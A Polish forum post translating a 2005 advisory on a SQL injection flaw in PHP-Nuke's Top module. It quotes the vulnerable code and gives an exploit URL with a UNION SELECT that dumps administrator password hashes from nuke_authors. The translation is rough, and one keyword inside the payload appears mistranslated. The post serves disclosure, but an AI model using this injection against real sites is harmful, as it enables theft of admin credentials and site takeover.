Poważny dziura w systemach phpnuke ver. 6.x-7.6

DNSA

Użytkownik
Dołączył
Luty 11, 2005
Posty
147
jako że zapisałem sie na liste chętnych chcących tłumaczyć bugtraq'i
przy okazji postanowiłem zamieścic przetłumaczoną wersje na tym forum:
link:http://www.securityfocus.com/archive/1/395...03/2005-04-09/0


Przetłumaczył:Blokers1990 [DNSA]
Autor: Janek Vind "waraxe"
Data: 06. April 2005
Miejsce: Estonia, Tartu
Strona www: http://www.waraxe.us/advisory-41.html

Błąd:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Dokładnie jak mówi tytuł, tym razem powazna dziura w zabezpieczniach została znaleziona w górnym module Phpnuke. Popatrzmy na kod źródłowy górnego modułu phpnuke 7.6:

Kod:
index file (/modules/Top/index.php) ~ line 186:



[original source code]



/* Top 10 Polls */



$result8 = $db->sql_query("select * from ".$prefix."_poll_desc $queryplang");



if ($db->sql_numrows($result8)>0) {

echo "<table border="0" cellpadding="10" width="100%"><tr><td align="left">n"

."<font class="option">[b]$top "._VOTEDPOLLS."[/b]</font>

<font class="content">n";

$lugar = 1;



$result9 = sql_query("SELECT pollID, pollTitle, timeStamp, voters FROM ".$prefix."_poll_desc

$querylang order by voters DESC limit 0,$top", $dbi);



$counter = 0;



[/original source code]

I jaki jest w tym problem? Widzimy, ze zmienna "$querylang" jest nie inicializowana, więc jeżeli „zatrujemy” przestrzeń bezpośrednio GET/POST/COOKIE, wtedy manipulacja zapytania „sql’a” jet możliwa.
Kod:
[real life exploit]



[url]http://lokalnyhost/nuke76/modules.php?name=Top&querylang=%20ŚCIEŻKA%201=2%20UNION[/url]

%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/*



[/real life exploit]

... jako rezultat, możemy zobaczyć linki hash zakodowane w md5 wszytkich haseł admin’ów w miejscu, gdzie normalnie, 10 najlepszych głosów powinno być widziane
smile.gif

...Oczywiście, wersja mysql 4.x musi być użyta z włączonym „zjednoczonym funkcjonowaniem”. A jeżeli zainstalowani są tam “strażnicy” albo inne oprogramowanie ochronne, dotakowe pomiary muszą być użyte aby je wyminąć.

Życze miłego dnia!
ps. hehe wiem ze troche kulawo przetłumaczone ale mysle ze da sie zrozumiec o co chodzi :-D
 
Do góry Bottom